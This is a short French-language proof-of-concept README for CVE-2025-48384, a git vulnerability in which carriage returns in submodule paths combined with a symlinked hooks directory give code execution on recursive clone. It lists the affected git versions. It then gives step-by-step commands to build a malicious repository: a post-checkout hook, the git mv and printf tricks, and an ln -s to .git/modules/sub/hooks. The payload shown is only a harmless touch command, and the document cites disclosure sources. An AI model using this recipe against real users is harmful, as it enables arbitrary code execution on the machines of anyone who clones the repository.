CVE-2025-48384-poc

CVE-2025-48384 se présente sous la forme d'une vulnérabilité de résolution de lien incorrecte (suivi de lien) dans git. Plus précisément, les noms de fichiers contenant des retours chariot sont incorrectement analysés dans .git/config, et l'inclusion d'un lien symbolique pointant vers un exécutable de hook git situé dans un sous-module comme répertoire de hooks du sous-module peut conduire à une exécution de code arbitraire lorsque le dépôt est cloné avec git clone --recursive.

Git pour Microsoft Windows n'est pas affecté par cette vulnérabilité, laissant principalement certaines versions de git sur Linux et macOS vulnérables. Les versions concernées sont :

• v2.50.0
• v2.49.0
• v2.48.0-v2.48.1
• v2.47.0–v2.47.2
• v2.46.0–v2.46.3
• v2.45.0-v2.45.3
• v2.44.0–v2.44.3
• v2.43.6 et versions antérieures

Étapes pour reproduire le PoC :

1. Créez deux dépôts, poc et submodule
2. Dans submodule, créez un hook git post-checkout pour exécuter du code lorsque le dépôt poc est cloné de manière récursive :

#!/bin/bash
touch ~/hackedlol

3. Dans poc, ajoutez le dépôt submodule avec git submodule add https://github.com/<your submodule repo>.git sub
4. Ajoutez un retour chariot au dossier sub nouvellement créé avec git mv sub $(printf "sub\r")
5. Écrivez printf "\tpath = \"sub\r\"\n" dans .gitmodules et supprimez le chemin d'origine.
6. Créez un lien symbolique vers le dossier hooks dans votre répertoire .git local avec ln -s .git/modules/sub/hooks sub
7. Ajoutez tout au dépôt
8. Espérons que cela fonctionne lol

Sources

• https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384
• https://github.com/git/git/commit/05e9cd64ee23bbadcea6bcffd6660ed02b8eab89#diff-8fbc2654131392c3018ecfc92462057b3bdc675cc674084c248bb0393a46b59f